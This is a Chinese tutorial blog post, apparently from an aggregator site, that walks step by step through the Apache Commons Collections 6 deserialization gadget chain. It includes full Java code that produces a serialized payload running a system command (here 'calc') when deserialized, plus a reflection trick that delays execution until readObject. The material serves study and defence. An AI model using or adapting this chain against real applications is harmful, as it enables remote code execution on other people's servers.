当前位置: 首页 > news >正文

CommonCollections6链分析

前面和CC1一样
优点是不限制jdk版本和cc的版本

先开一个ChainedTransformer
在这里插入图片描述
然后创LazyMap 我们顺便执行一下避免上面写错
在这里插入图片描述
能弹计算器 没问题
后面就是CC6不同的地方了

我们需要一个TiedMapEntry
因为需要一个类调用了get方法
TiedMapEntrygetValue()方法中调用了get() 其中mapkey都可控
在这里插入图片描述
在这里插入图片描述
那么我们就需要一个类调用getValue方法 TiedMapEntry的hashCode方法就可以
在这里插入图片描述

然后类似URLDNS的链子 我们可以知道这里可以用HashMap连上
HashMapreadObject方法会调用hashCode
在这里插入图片描述
在这里插入图片描述
至此链子结束 我们可以写出如下代码

package org.example.CC6;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class Main {public static   void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map lazyMap = LazyMap.decorate(map,chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"xxx");Map map2 = new HashMap();map2.put(tiedMapEntry,"ccc");serialize(map2);unSerialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unSerialize(String path) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));return ois.readObject();}
}

尝试执行 发现确实能弹计算器
但是这里存在和URLDNS一样的问题 , 就是这个计算器弹的时机是在map2.put的时候
而不是我们期望的反序列化的时候

原因是HashMap在put的时候已经给整条链走完了
在这里插入图片描述
在这里插入图片描述
因为这里的key != null 所以继续进了hashCode
在这里插入图片描述
LazyMap调用get
在这里插入图片描述
然后没有key put进去了 在后面反序列化的时候就有key
key就直接return map.get(key)

为了避免这种情况 我们需要 让最开始传入的东西不能形成链子 就是说改LazyMap 改 TiedMapEntry 之类的的都行,只要不在反序列化前弹计算器就行
然后要记得给put进来的key remove掉
于是最终代码如下

package org.example.CC6;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class Main {public static   void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");Map map2 = new HashMap();map2.put(tiedMapEntry, "ccc");lazyMap.remove("xxx");Field field = LazyMap.class.getDeclaredField("factory");field.setAccessible(true);field.set(lazyMap, chainedTransformer);serialize(map2);unSerialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unSerialize(String path) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));return ois.readObject();}
}
http://www.lryc.cn/news/102241.html

相关文章:

  • 优化基于tcp,socket的ftp文件传输程序
  • MySQL 数据库 【增删查改(二)】
  • 力扣 -- 978. 最长湍流子数组
  • 甘特图 Dhtmlx Gantt
  • iOS 应用上架流程详解
  • Python入门【LEGB规则、面向对象简介、面向过程和面向对象思想、面向对象是什么? 对象的进化 、类的定义、对象完整内存结构 】(十三)
  • 【消息中间件】原生PHP对接Uni H5、APP、微信小程序实时通讯消息服务
  • 【C语言初阶】指针篇—上
  • 基于FasterRCNN深度学习网络的车辆检测算法matlab仿真
  • 机器学习深度学习——多层感知机
  • Django模型将模型注释同步到数据库
  • STM32 Flash学习(二)
  • kotlin获取泛型集合的类型信息
  • AQS源码解析
  • 关于在VS2017中编译Qt项目遇到的问题
  • Python web实战 | 使用 Flask 实现 Web Socket 聊天室
  • Android10 Recovery系列(一)隐藏recovery菜单项
  • 选好NAS网络储存解决方案,是安全储存的关键
  • AnimateDiff论文解读-基于Stable Diffusion文生图模型生成动画
  • centos7安装tomcat
  • 【C#教程】零基础从入门到精通
  • opencv rtsp 硬件解码
  • 机器学习-Gradient Descent
  • MySql003——SQL(结构化查询语言)基础知识
  • springCloud Eureka注册中心配置详解
  • gti 远程操作
  • Ftrace
  • Tomcat修改端口号
  • vue2企业级项目(一)
  • 【前端知识】React 基础巩固(三十八)——log、thunk、applyMiddleware中间件的核心代码